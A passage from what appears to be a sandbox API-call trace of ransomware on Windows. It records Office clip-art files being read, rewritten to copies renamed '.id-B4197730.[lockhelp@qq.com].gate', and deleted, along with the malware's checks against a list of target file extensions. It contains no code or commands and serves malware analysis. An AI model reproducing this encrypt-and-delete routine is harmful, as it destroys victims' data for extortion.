dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0312.769] GetLastError () returned 0x0 [0312.769] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x4752, lpOverlapped=0x0) returned 1 [0312.822] WriteFile (in: hFile=0x370, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x4760, lpOverlapped=0x0) returned 1 [0312.824] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0312.824] WriteFile (in: hFile=0x370, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0312.824] SetEndOfFile (hFile=0x370) returned 1 [0312.825] CloseHandle (hObject=0x370) returned 1 [0312.825] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.825] SetEndOfFile (hFile=0x4f0) returned 1 [0312.827] CloseHandle (hObject=0x4f0) returned 1 [0312.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0312.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 1 [0312.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0312.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0312.829] lstrlenW (lpString=".doc") returned 4 [0312.829] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0312.829] lstrlenW (lpString=".docx") returned 5 [0312.829] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0312.829] lstrlenW (lpString=".pdf") returned 4 [0312.829] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0312.829] lstrlenW (lpString=".xls") returned 4 [0312.829] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0312.829] lstrlenW (lpString=".xlsx") returned 5 [0312.829] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0312.829] lstrlenW (lpString=".ppt") returned 4 [0312.829] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0312.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0312.829] lstrlenW (lpString=".zip") returned 4 [0312.829] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0312.829] lstrlenW (lpString=".rar") returned 4 [0312.829] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0312.829] lstrlenW (lpString=".bz2") returned 4 [0312.829] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0312.829] lstrlenW (lpString=".7z") returned 3 [0312.829] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0312.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0312.829] lstrlenW (lpString=".dbf") returned 4 [0312.829] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0312.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0312.829] lstrlenW (lpString=".1cd") returned 4 [0312.829] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0312.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0312.830] lstrlenW (lpString=".jpg") returned 4 [0312.830] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0312.830] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=73214) returned 1 [0312.830] CloseHandle (hObject=0x4f0) returned 1 [0312.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 0x220 [0312.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0312.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0312.831] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.832] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0312.832] GetLastError () returned 0x0 [0312.832] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x11dfe, lpOverlapped=0x0) returned 1 [0313.849] WriteFile (in: hFile=0x370, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x11e00, lpOverlapped=0x0) returned 1 [0313.851] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0313.851] WriteFile (in: hFile=0x370, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0313.851] SetEndOfFile (hFile=0x370) returned 1 [0313.851] CloseHandle (hObject=0x370) returned 1 [0313.851] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0313.851] SetEndOfFile (hFile=0x4f0) returned 1 [0313.854] CloseHandle (hObject=0x4f0) returned 1 [0313.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0313.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 1 [0313.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0313.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0313.957] lstrlenW (lpString=".doc") returned 4 [0313.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0313.957] lstrlenW (lpString=".docx") returned 5 [0313.957] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0313.957] lstrlenW (lpString=".pdf") returned 4 [0313.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0313.957] lstrlenW (lpString=".xls") returned 4 [0313.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0313.957] lstrlenW (lpString=".xlsx") returned 5 [0313.957] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0313.957] lstrlenW (lpString=".ppt") returned 4 [0313.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0313.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0313.957] lstrlenW (lpString=".zip") returned 4 [0313.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0313.957] lstrlenW (lpString=".rar") returned 4 [0313.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0313.957] lstrlenW (lpString=".bz2") returned 4 [0313.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0313.957] lstrlenW (lpString=".7z") returned 3 [0313.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0313.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0313.957] lstrlenW (lpString=".dbf") returned 4 [0313.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0313.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0313.957] lstrlenW (lpString=".1cd") returned 4 [0313.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0313.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0313.957] lstrlenW (lpString=".jpg") returned 4 [0313.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0313.958] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=13874) returned 1 [0313.958] CloseHandle (hObject=0x4f8) returned 1 [0313.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220 [0313.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0313.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0313.958] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0313.958] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0313.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0313.959] GetLastError () returned 0x0 [0313.959] ReadFile (in: hFile=0x4f8, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x3632, lpOverlapped=0x0) returned 1 [0314.130] WriteFile (in: hFile=0x514, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x3640, lpOverlapped=0x0) returned 1 [0314.131] ReadFile (in: hFile=0x4f8, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0314.131] WriteFile (in: hFile=0x514, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0314.131] SetEndOfFile (hFile=0x514) returned 1 [0314.318] CloseHandle (hObject=0x514) returned 1 [0314.318] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0314.318] SetEndOfFile (hFile=0x4f8) returned 1 [0314.335] CloseHandle (hObject=0x4f8) returned 1 [0314.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0314.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0314.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0314.336] lstrlenW (lpString=".doc") returned 4 [0314.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0314.336] lstrlenW (lpString=".docx") returned 5 [0314.336] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0314.336] lstrlenW (lpString=".pdf") returned 4 [0314.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0314.336] lstrlenW (lpString=".xls") returned 4 [0314.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0314.336] lstrlenW (lpString=".xlsx") returned 5 [0314.336] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0314.336] lstrlenW (lpString=".ppt") returned 4 [0314.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0314.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0314.336] lstrlenW (lpString=".zip") returned 4 [0314.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0314.336] lstrlenW (lpString=".rar") returned 4 [0314.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0314.336] lstrlenW (lpString=".bz2") returned 4 [0314.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0314.337] lstrlenW (lpString=".7z") returned 3 [0314.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0314.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0314.337] lstrlenW (lpString=".dbf") returned 4 [0314.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0314.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0314.337] lstrlenW (lpString=".1cd") returned 4 [0314.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0314.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0314.337] lstrlenW (lpString=".jpg") returned 4 [0314.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0314.337] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=9671) returned 1 [0314.337] CloseHandle (hObject=0x4f8) returned 1 [0314.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220 [0314.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0314.338] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0314.338] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0314.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0314.338] GetLastError () returned 0x0 [0314.339] ReadFile (in: hFile=0x4f8, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x25c7, lpOverlapped=0x0) returned 1 [0314.642] WriteFile (in: hFile=0x564, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x25d0, lpOverlapped=0x0) returned 1 [0314.781] ReadFile (in: hFile=0x4f8, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0314.781] WriteFile (in: hFile=0x564, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0314.781] SetEndOfFile (hFile=0x564) returned 1 [0314.781] CloseHandle (hObject=0x564) returned 1 [0314.782] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0314.782] SetEndOfFile (hFile=0x4f8) returned 1 [0314.785] CloseHandle (hObject=0x4f8) returned 1 [0314.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0314.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0314.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0314.786] lstrlenW (lpString=".doc") returned 4 [0314.786] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0314.786] lstrlenW (lpString=".docx") returned 5 [0314.786] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0314.786] lstrlenW (lpString=".pdf") returned 4 [0314.786] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0314.786] lstrlenW (lpString=".xls") returned 4 [0314.786] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0314.786] lstrlenW (lpString=".xlsx") returned 5 [0314.786] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0314.786] lstrlenW (lpString=".ppt") returned 4 [0314.786] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0314.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0314.786] lstrlenW (lpString=".zip") returned 4 [0314.786] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0314.786] lstrlenW (lpString=".rar") returned 4 [0314.786] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0314.786] lstrlenW (lpString=".bz2") returned 4 [0314.786] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0314.786] lstrlenW (lpString=".7z") returned 3 [0314.786] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0314.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0314.787] lstrlenW (lpString=".dbf") returned 4 [0314.787] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0314.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0314.787] lstrlenW (lpString=".1cd") returned 4 [0314.787] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0314.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0314.787] lstrlenW (lpString=".jpg") returned 4 [0314.787] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0314.918] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=27546) returned 1 [0314.918] CloseHandle (hObject=0x4b8) returned 1 [0314.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220 [0314.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0314.952] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0314.952] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0314.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0314.953] GetLastError () returned 0x0 [0314.953] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x6b9a, lpOverlapped=0x0) returned 1 [0315.050] WriteFile (in: hFile=0x4f0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x6ba0, lpOverlapped=0x0) returned 1 [0315.076] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0315.076] WriteFile (in: hFile=0x4f0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0315.077] SetEndOfFile (hFile=0x4f0) returned 1 [0315.077] CloseHandle (hObject=0x4f0) returned 1 [0315.077] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.077] SetEndOfFile (hFile=0x404) returned 1 [0315.087] CloseHandle (hObject=0x404) returned 1 [0315.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0315.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0315.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0315.160] lstrlenW (lpString=".doc") returned 4 [0315.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0315.160] lstrlenW (lpString=".docx") returned 5 [0315.160] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0315.160] lstrlenW (lpString=".pdf") returned 4 [0315.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0315.161] lstrlenW (lpString=".xls") returned 4 [0315.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0315.161] lstrlenW (lpString=".xlsx") returned 5 [0315.161] lstrcmpiW 